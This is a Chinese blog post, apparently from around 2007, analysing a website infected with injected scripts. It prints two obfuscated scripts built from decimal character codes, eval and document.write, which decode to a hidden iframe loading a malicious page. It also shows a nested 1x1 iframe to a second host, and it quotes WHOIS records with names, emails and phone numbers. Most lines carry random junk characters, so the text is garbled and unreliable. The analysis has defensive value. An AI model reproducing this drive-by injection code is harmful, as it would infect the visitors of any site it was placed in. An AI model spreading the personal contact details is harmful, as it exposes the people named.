首发在我的博客里面，
tbO
H#| Dn>%%K@0 http://www.areway.cn/?p=175 C4NTh}6t T t Bct t
R6
+G 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
JB nK K ~g7l8H67 <script>t=’60,105,102,114,97,109,101,
>*wtbkU 32,115,114,99,61,104,116,116,112,58,47,47,
(@#M!' 102,114,101,101,46,117,45,117,117,117,46,99,
LjU'z # 110,47,101,114,114,111,114,46,104,116,109,
Oq3A#6~ 32,119,105,100,116,104,61,49,48,48,32,104,
0dh=fcb 101,105,103,104,116,61,48,62,60,47,105,102,
8 B**8yg. 114,97,109,101,62′;
&*
E+ N[ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
gqWupL
o:6@ Kw^ <script>t=’60,105,102,114,97,109,101,32,115,
dZ _zg< 114,99,61,104,116,116,112,58,47,47,102,114,
FCkf# 101,101,46,117,45,117,117,117,46,99,110,47,
Y-0?a?q2Fr 101,114,114,111,114,46,104,116,109,32,119,
g&n )fF 105,100,116,104,61,49,48,48,32,104,101,105,
t&9A
]<n%, 103,104,116,61,48,62,60,47,105,102,114,97,
\R VW 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
nbG/c8 0 document.write(t);</script>
@X3{x\i'I D13Rx 6b <html xmlns=”
rcGb[=B f http://www.w3.org/1999/xhtml 2[gFkyqe “>
ykrr2x <head>
ujJI
1I <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
`
}3qhar <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
" YB** Y <title>首页 - 爱生活家庭网
? 3O9eZ Y@ Z;h<6[( 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
A*|cdY]HP 转换字符串后的大概内容是（谁点击后果自付）：
[le)P$ #z <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
ai*f
F Ssk}e=] 查询玉米u-uuu.cn的详细信息：
V
i&*&" q Domain Name: u-uuu.cn
Qeu\&%C!< ROID: 20070901s10001s64972306-cn
?h!i0Rsm Domain Status: ok
}za[E>z Registrant Organization: 王雷
*|_"W+JC Registrant Name: 王雷
Z/ Tm)Xd Administrative Email:
czlovexs@126.com ?<* -j4v Sponsoring Registrar: 北京万网志成科技有限公司
9 fMau Name Server:ns.yovole.com
2!B d2 Name Server:ns1.yovole.com
n$[f94d= Registration Date: 2007-09-01 17:54
DD44" w_9 Expiration Date: 2008-09-01 17:54
s[gKc ' 最后PING了一下地址 都没有什么….
XW?b\!@ $ (Y^X0yA/ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
O+RP3ox" <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
~y$ !48o <script language=”javascript” src=”
3 v")J*t http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script }$\M{# C~ >
"z<azs 这个玉米应该有可能是木马作者的：
Od?qz1 foafau.info的详细信息：
-LM;}< Access to INFO WHOIS information is provided to assist persons in
hva2o` determining the contents of a domain name registration record in the
<A9y9|>o Afilias registry database. The data in this record is provided by
Jdy=_88MD
Afilias Limited for informational purposes only, and Afilias does not
%okzOKKX guarantee its accuracy. This service is intended only for query-based
X{kpS A~ access. You agree that you will use this data only for lawful purposes
KFZm`,+69 and that, under no circumstances will you use this data to: (a) allow,
6{qIU}! enable, or otherwise support the transmission by e-mail, telephone, or
0q rqg] facsimile of mass unsolicited, commercial advertising or solicitations
Y4IGDY* to entities other than the data recipient’s own existing customers; or
JH7Ad (: (b) enable high volume, automated, electronic processes that send
Ez{MU@Fk queries or data to the systems of Registry Operator, a Registrar, or
ql<rU@ Afilias except as reasonably necessary to register domain names or
b~BIz95 modify existing registrations. All rights reserved. Afilias reserves
Z@gnsPN^r the right to modify these terms at any time. By submitting this query,
=:S N1#G3n you agree to abide by this policy.
\Ofw8=N-2 Domain ID:D22418703-LRMS
MV=9!{` Domain Name:FOAFAU.INFO
GjB]KA^ Created On:20-Nov-2007 16:05:42 UTC
?m
c%.Bt Last Updated On:20-Nov-2007 16:05:44 UTC
it2 a Expiration Date:20-Nov-2008 16:05:42 UTC
rfw-^`&{ Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
w C-Rr^q Status:CLIENT DELETE PROHIBITED
!K? qgM Status:CLIENT RENEW PROHIBITED
i!~'M ;S Status:CLIENT TRANSFER PROHIBITED
iE.-FZc Status:CLIENT UPDATE PROHIBITED
Q o =Kqv Status:TRANSFER PROHIBITED
RmI1` Registrant ID:GODA-040110615
b6E<r>q Registrant Name:liu hong
t\v+ogbk) Registrant Organization:
>5G>D~b Registrant Street1:beijing
C!C|\$)- Registrant Street2:
",>H(wJ8 Registrant Street3:
HMY@F_qY`u Registrant City:beijing
dO7;}>F$n Registrant State/Province:
?r_l 8 Registrant Postal Code:100000
K) Zlc0e Registrant Country:CN
#'4OYY. Registrant Phone:+86.860108888777
=:+0)t=ao Registrant Phone Ext.:
9%sM*[A Registrant FAX:
DF {OnF Registrant FAX Ext.:
0Aa`p3.) Registrant Email:bbbshiji@163.com
YK{a Admin ID:GODA-240110615
abxD B Admin Name:liu hong
NcCvm# Admin Organization:
8e0."o.6 Admin Street1:beijing
s/Xb^X jS1 Admin Street2:
[Vdz^_@Y Admin Street3:
wve =.n Admin City:beijing
w{ `|N$ Admin State/Province:
#0;HOeIiH Admin Postal Code:100000
j8 C8X$ Admin Country:CN
Q)af|GW$ Admin Phone:+86.860108888777
{0!#>["< Admin Phone Ext.:
OlD `uA Admin FAX:
X 5
ITF)& Admin FAX Ext.:
^ /Sh=4=G Admin Email:bbbshiji@163.com
CVXytS?@x Billing ID:GODA-340110615
#=}$OFg Billing Name:liu hong
&W }<:WH~ Billing Organization:
^6p'YYj"5 Billing Street1:beijing
~ 2 u\ Billing Street2:
mDF lz1J,e Billing Street3:
Ri>?KrQ F% Billing City:beijing
`:M^8SYrL Billing State/Province:
"8V{5e!%j' Billing Postal Code:100000
V,%L ~ dI Billing Country:CN
SK$ Vk[c] Billing Phone:+86.860108888777
*R % wUi Billing Phone Ext.:
N_75-S7Cm Billing FAX:
# fhEc;t Billing FAX Ext.:
^%y `u1ab Billing Email:bbbshiji@163.com
{F|48P;J Tech ID:GODA-140110615
r+<{S\ Q Tech Name:liu hong
bXM/2Z?6 Tech Organization:
A\te*G0:S Tech Street1:beijing
(P6 vOo Tech Street2:
NE|[o0On Tech Street3:
[FQ\I-GNC Tech City:beijing
5, b]V)4 Tech State/Province:
%IBL0NQT Tech Postal Code:100000
V:bV ?lt Tech Country:CN
/&ygi H{^ Tech Phone:+86.860108888777
U l Mi.;/^ Tech Phone Ext.:
!F!3Q4 Tech FAX:
K'6[J"dB Tech FAX Ext.:
PI5j"u UO Tech Email:bbbshiji@163.com
_>bRv+RVR Name Server:NS27.DOMAINCONTROL.COM
E@
h
y7 X Name Server:NS28.DOMAINCONTROL.COM
hv)7H)|l~] Name Server:
)WR_
ug Name Server:
nq`q[KV: Name Server:
INMP"1 Name Server:
ecH/Wz1 Name Server:
gp|1?L 54 Name Server:
#-u [$TA Name Server:
%6 =\5> Name Server:
<R1X \s. Name Server:
[EHrIn Name Server:
F'J [y"~_ Name Server:
DpL8'Dib [ug,jEH"S 接着下载每个文件里面的代码：
nJ3vi}` 一步一步看..
OKwOugi0 
=g@9>3~{! 
[5 pCL0<c@ 
r!/0 j) 
2DMrMmLI 
WBppKj_M 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
